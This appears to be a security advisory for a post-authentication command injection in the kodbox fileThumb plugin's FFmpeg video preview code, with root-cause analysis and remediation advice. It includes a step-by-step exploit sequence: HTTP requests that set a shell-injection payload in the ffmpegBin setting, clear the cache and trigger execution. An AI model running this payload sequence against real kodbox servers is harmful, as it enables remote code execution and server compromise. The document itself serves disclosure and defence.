KodBox Post‑Authentication FFmpeg Command Injection via parseVideoInfo in kodbox fileThumb Video Preview
Vulnerability ID: VPLUS-2026-16894
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V03 – Command Injection
Authentication: Post-Auth (requires authenticated user with plugin configuration and file preview rights)
Confidence: 99%
Status: Confirmed
CVSS: 8.1
CVE: –
Discovery Time: 2026-03-08 09:49:31
Affected Component / Endpoints
File:
/workspace/source-code/plugins/fileThumb/lib/VideoResize.class.phpFunction:
parseVideoInfo(around line 417)Related call sites:
videoPreview(),videoSmall()and other FFmpeg-based video handling paths withinVideoResize.class.phpRelevant HTTP endpoints:
Plugin configuration:
GET /?admin/plugin/setConfig&app=fileThumb&value=<JSON>&accessToken=<token>Cache clear (no
check=1required):GET /?plugin/fileThumb/check&accessToken=<token>Video preview trigger:
GET /?plugin/fileThumb/videoPreview&path=<upath>&accessToken=<token>Proof file verification (example):
GET /data/temp/<proof>.txt
Note: This vulnerability is distinct from VPLUS-2026-14333, which abuses
plugins/fileThumb/app.php::checkBinviaplugin/fileThumb/check&check=1. Here, the trigger is the normal video preview path implemented inVideoResize.class.php::parseVideoInfo.
Technical Description / Root Cause
The kodbox fileThumb plugin supports video thumbnails and preview using FFmpeg. The FFmpeg binary path is configurable via the ffmpegBin plugin configuration, which administrators can modify through admin/plugin/setConfig.
The video preview pipeline is:
videoPreview()obtains the FFmpeg command via:<PHP>$command = $plugin->getFFmpeg();where
$commandis derived from theffmpegBinconfiguration and cached under a key likefileThumb.getFFmpeg.videoPreview()then calls:<PHP>$this->parseVideoInfo($command, $localFile);In
parseVideoInfo()(line ~417), FFmpeg is executed as:<PHP>$output = shell_exec($command . " -i " . escapeShell($video) . " 2>&1");
The core security issues:
Direct shell concatenation of configurable binary path:
$commandis constructed from theffmpegBinconfiguration.It is concatenated directly into a shell command passed to
shell_exec():<PHP>$command . " -i " . escapeShell($video) . " 2>&1";Only the video path is wrapped by
escapeShell($video); the$commandportion is unescaped and unvalidated.If
ffmpegBincontains shell metacharacters (;,#, etc.), arbitrary commands will be executed.
Administrator-controlled
ffmpegBinvalue:An authenticated administrator can set
ffmpegBinto an arbitrary string via:<HTTP>GET /?admin/plugin/setConfig&app=fileThumb&value={"ffmpegBin":"<attacker_payload>"}&accessToken=<token>This allows injection of arbitrary shell commands into the FFmpeg invocation used by
videoPreview()/parseVideoInfo().
Cache clearing via
plugin/fileThumb/check:The
fileThumb.getFFmpegcached value can be invalidated by calling:<HTTP>GET /?plugin/fileThumb/check&accessToken=<token>(no
check=1parameter is required for this cache clear behavior).After cache clearing, the next call to
videoPreview()will re-read theffmpegBinconfiguration and use the injected value.
Trigger via normal video preview usage:
Once
ffmpegBinis malicious and the cache is cleared, any normal video preview request that routes throughvideoPreview()→parseVideoInfo()will execute the injected shell command on the server.This makes the RCE reachable through routine preview actions, not just a “health check” endpoint.
Attack Vector
A typical exploit flow using a malicious admin account or any principal with plugin configuration rights:
Log in as admin and obtain an access token:
Use a valid admin username/password to call:
<HTTP>POST /?user/index/loginSubmitname=adminpassword=Admin@2024!Extract
infoasaccessToken.
Upload a video file that will be processed by
videoPreview():Create a small FLV file with metadata
playtime=60andfileType="video"(as the PoC does) and upload it via:<HTTP>POST /?explorer/upload/fileUploadpath={source:<id>}/v03_videopreview_<stamp>/accessToken=<token>file=@sample.flvConfirm via:
<HTTP>GET /?explorer/index/pathInfo&dataArr=[{"path":"{source:<id>}/"}]&debug=1&accessToken=<token>where
fileInfoMore.playtime=60andfileType="video"ensure the video preview path is used.
Set a malicious
ffmpegBinvalue:For example, inject a command to create a proof file:
<HTTP>GET /?admin/plugin/setConfig&app=fileThumb&value={"ffmpegBin":"ffmpeg;touch /var/www/html/data/temp/v03_videopreview_<stamp>.txt;#"}&accessToken=<token>The trailing
#comments out the rest of the FFmpeg command.
Clear the cached FFmpeg path:
<HTTP>GET /?plugin/fileThumb/check&accessToken=<token>This forces subsequent calls to
getFFmpeg()to use the newly injectedffmpegBin.
Trigger video preview:
<HTTP>GET /?plugin/fileThumb/videoPreview&path={source:<id>}/&accessToken=<token>Internally, this calls
videoPreview()→parseVideoInfo($command, $localFile)which runs:<PHP>shell_exec("ffmpeg;touch /var/www/html/data/temp/v03_videopreview_<stamp>.txt;# -i <escaped_video> 2>&1");The
touchcommand is executed on the server.
Verify command execution:
<HTTP>GET /data/temp/v03_videopreview_<stamp>.txtHTTP 200 with the expected file present confirms that the injected command ran during normal video preview.
The PoC output shows:
and in staged verification:
showing the file appears only after videoPreview runs, confirming that RCE is triggered in the video preview path, not via the previously-reported checkBin health check.
Impact
Post-auth remote code execution:
An attacker with plugin configuration rights (typically an administrator) can execute arbitrary system commands on the kodbox server via normal video preview usage.Abuse of normal workflows:
Since the trigger isplugin/fileThumb/videoPreview, malicious commands can be executed as a side effect of legitimate-looking preview operations, increasing stealth.Server compromise:
Ability to create, read, modify, or delete files accessible to the web server user.
Potential to install backdoors, exfiltrate sensitive data, or pivot deeper into the host or internal network.
Separation from prior RCE vector:
This is a separate RCE sink fromplugins/fileThumb/app.php::checkBin, expanding the attack surface: even ifcheckBinis patched, the video preview path remains exploitable unless fixed.
Duplicate Check
A duplicate search using:
GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-16894
identified VPLUS-2026-14333 as a similar command injection in the fileThumb plugin, but:
VPLUS-2026-14333 targets
plugins/fileThumb/app.php::checkBinand triggers viaplugin/fileThumb/check&check=1.VPLUS-2026-16894 targets
plugins/fileThumb/lib/VideoResize.class.php::parseVideoInfoand triggers viaplugin/fileThumb/videoPreviewafter manipulatingffmpegBinand clearing cache.
The file location, code path, and HTTP triggers are different. The agent reproduced the PoC on http://192.168.200.44:80 and confirmed that:
The proof file is missing (
404) before and after cache clear.The proof file only appears (
200) after callingplugin/fileThumb/videoPreview.
Thus, this is a distinct vulnerability and not a duplicate of VPLUS-2026-14333.
Remediation Recommendations
Remove unsafe command concatenation:
Do not concatenate
ffmpegBindirectly into shell commands.Treat FFmpeg invocation as a fixed binary with controlled arguments, not as a free-form shell snippet.
Use safe process execution APIs everywhere FFmpeg is called:
In
videoPreview(),parseVideoInfo(),videoSmall(), and any other FFmpeg-related methods:Replace
shell_exec($command . " -i " . escapeShell($video) . " 2>&1")with a non-shell invocation such as:<PHP>$cmd = ['/usr/bin/ffmpeg', '-i', $video];// Use proc_open / Symfony Process / similar with argument arrays
Ensure no shell is involved, and that arguments are passed as separate elements.
Whitelist and validate
ffmpegBinconfiguration:Restrict
ffmpegBinto:A predefined list of safe binaries (e.g.,
"ffmpeg") orA validated absolute path (e.g.,
/usr/bin/ffmpeg).
On the server side, reject values containing:
Shell metacharacters like
;,&,|,$,(,),<,>, backticks, newlines, etc.
Apply equivalent validation to other command-related config fields such as
imagickBin.
Handle caches securely:
Ensure any cached FFmpeg path (
fileThumb.getFFmpeg) is derived from a validated configuration value.Avoid patterns where unsafe configuration values are cached and then reused across multiple unrelated code paths (e.g., preview, transcoding, health checks).
When configuration changes, re-validate before re-caching.
Access control and auditing:
Restrict
admin/plugin/setConfigforfileThumb(and similar plugins) to the narrowest set of trusted admin roles.Log all changes to
ffmpegBin/imagickBinand similar executable-path settings, including who made the change and from which IP.Periodically review logs for suspicious changes to these fields.
Defense in depth:
Run the web server/PHP under a minimally privileged OS account.
Consider OS-level confinement (AppArmor, SELinux, containers) to limit the impact of any command execution.
Harden filesystem permissions so that unnecessary directories are not writable by the web process.